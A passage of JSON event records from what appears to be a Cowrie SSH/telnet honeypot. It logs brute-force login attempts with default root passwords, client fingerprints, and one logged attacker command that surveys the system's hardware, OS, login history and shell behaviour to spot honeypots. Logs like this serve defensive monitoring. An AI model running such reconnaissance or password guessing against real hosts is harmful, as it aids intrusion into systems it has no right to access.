s256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:24:04.933984Z","src_ip":"91.92.40.11","session":"03e1dbcad7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123","message":"login attempt [root/Root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:24:05.817250Z","src_ip":"91.92.40.11","session":"03e1dbcad7c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:24:07.036074Z","src_ip":"91.92.40.11","session":"03e1dbcad7c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00782775878906,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:24:15.917269Z","src_ip":"107.6.151.170","session":"14367577ec87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":51968,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb1ef490fef3","protocol":"ssh","message":"New connection: 91.92.40.11:51968 (10.17.0.5:22) [session: bb1ef490fef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:01.716941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:01.833365Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:01.841355Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:02.780583Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.451744Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.455003Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.458415Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.461436Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.464337Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.468684Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.471629Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.477885Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.481350Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.485373Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.489020Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.757402Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:03.998838Z","src_ip":"91.92.40.11","session":"bb1ef490fef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33244,"dst_ip":"159.203.135.109","dst_port":23,"session":"643d4ab995b6","protocol":"telnet","message":"New connection: 107.6.151.170:33244 (159.203.135.109:23) [session: 643d4ab995b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:24.382277Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47878,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d6373e4450","protocol":"telnet","message":"New connection: 107.6.151.170:47878 (159.203.135.109:23) [session: 81d6373e4450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:41.618154Z"}
{"eventid":"cowrie.session.closed","duration":32.39867925643921,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:56.780829Z","src_ip":"107.6.151.170","session":"643d4ab995b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":57758,"dst_ip":"10.17.0.5","dst_port":22,"session":"c69c541ef847","protocol":"ssh","message":"New connection: 91.92.40.11:57758 (10.17.0.5:22) [session: c69c541ef847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:59.096567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:59.243846Z","src_ip":"91.92.40.11","session":"c69c541ef847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:25:59.246474Z","src_ip":"91.92.40.11","session":"c69c541ef847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:00.330273Z","src_ip":"91.92.40.11","session":"c69c541ef847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:01.548790Z","src_ip":"91.92.40.11","session":"c69c541ef847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":58762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddf223d7c040","protocol":"telnet","message":"New connection: 183.91.11.226:58762 (159.203.135.109:23) [session: ddf223d7c040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:34.890323Z"}
{"eventid":"cowrie.session.closed","duration":69.06552076339722,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:50.683546Z","src_ip":"107.6.151.170","session":"81d6373e4450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":34410,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f748fb2ad85","protocol":"ssh","message":"New connection: 91.92.40.11:34410 (10.17.0.5:22) [session: 6f748fb2ad85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:56.847297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:56.882638Z","src_ip":"91.92.40.11","session":"6f748fb2ad85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:56.954503Z","src_ip":"91.92.40.11","session":"6f748fb2ad85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpine","message":"login attempt [root/alpine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:57.341290Z","src_ip":"91.92.40.11","session":"6f748fb2ad85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:26:58.476095Z","src_ip":"91.92.40.11","session":"6f748fb2ad85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.770044803619385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:09.660231Z","src_ip":"183.91.11.226","session":"ddf223d7c040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":49996,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eab884fdb01","protocol":"ssh","message":"New connection: 161.97.75.11:49996 (10.17.0.5:22) [session: 0eab884fdb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:42.410648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:42.414382Z","src_ip":"161.97.75.11","session":"0eab884fdb01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:42.510076Z","src_ip":"161.97.75.11","session":"0eab884fdb01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bybit2024","message":"login attempt [root/bybit2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:42.790791Z","src_ip":"161.97.75.11","session":"0eab884fdb01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:43.887784Z","src_ip":"161.97.75.11","session":"0eab884fdb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":39610,"dst_ip":"159.203.135.109","dst_port":22,"session":"123ae349f880","protocol":"ssh","message":"New connection: 147.45.199.80:39610 (159.203.135.109:22) [session: 123ae349f880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:49.001308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:27:49.005227Z","src_ip":"147.45.199.80","session":"123ae349f880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 